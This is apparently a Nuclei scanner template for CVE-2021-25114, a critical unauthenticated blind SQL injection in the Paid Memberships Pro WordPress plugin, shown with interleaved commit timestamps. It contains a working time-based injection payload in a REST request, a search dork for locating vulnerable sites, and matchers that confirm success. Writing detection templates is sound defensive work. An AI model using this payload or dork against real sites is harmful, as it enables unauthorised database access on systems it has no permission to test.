2023-02-06 12:09:04 +00:00
id : CVE-2021-25114
info :
name : Paid Memberships Pro < 2.6.7 - Unauthenticated Blind SQL Injection
author : theamanrawat
severity : critical
description : |
The plugin does not escape the discount_code in one of its REST route (available to unauthenticated users) before using it in a SQL statement, leading to a SQL injection.
reference :
- https://wpscan.com/vulnerability/6c25a5f0-a137-4ea5-9422-8ae393d7b76b
- https://wordpress.org/plugins/paid-memberships-pro/
- https://nvd.nist.gov/vuln/detail/CVE-2021-25114
classification :
2023-02-07 04:35:56 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
2023-02-06 12:09:04 +00:00
cve-id : CVE-2021-25114
2023-02-07 04:35:56 +00:00
cwe-id : CWE-89
2023-02-06 12:09:04 +00:00
metadata :
2023-02-06 13:47:27 +00:00
google-query : inurl:"/wp-content/plugins/paid-memberships-pro"
2023-02-07 04:35:56 +00:00
verified : "true"
tags : wp-plugin,wp,sqli,paid-memberships-pro,wpscan,cve,cve2021,wordpress
2023-02-06 12:09:04 +00:00
requests :
- raw :
- |
2023-02-06 13:47:27 +00:00
@timeout : 15s
GET /?rest_route=/pmpro/v1/checkout_level&level_id=3&discount_code=%27%20%20union%20select%20sleep(6)%20--%20g HTTP/1.1
2023-02-06 12:09:04 +00:00
Host : {{Hostname}}
- |
2023-02-06 13:47:27 +00:00
GET /wp-content/plugins/paid-memberships-pro/js/pmpro-checkout.js HTTP/1.1
2023-02-06 12:09:04 +00:00
Host : {{Hostname}}
matchers :
- type : dsl
dsl :
2023-02-06 13:47:27 +00:00
- duration_1>=6
- contains(all_headers_1, "application/json")
2023-02-06 12:09:04 +00:00
- status_code == 200
2023-02-06 13:47:27 +00:00
- contains(body_2, 'other_discount_code_')
condition : and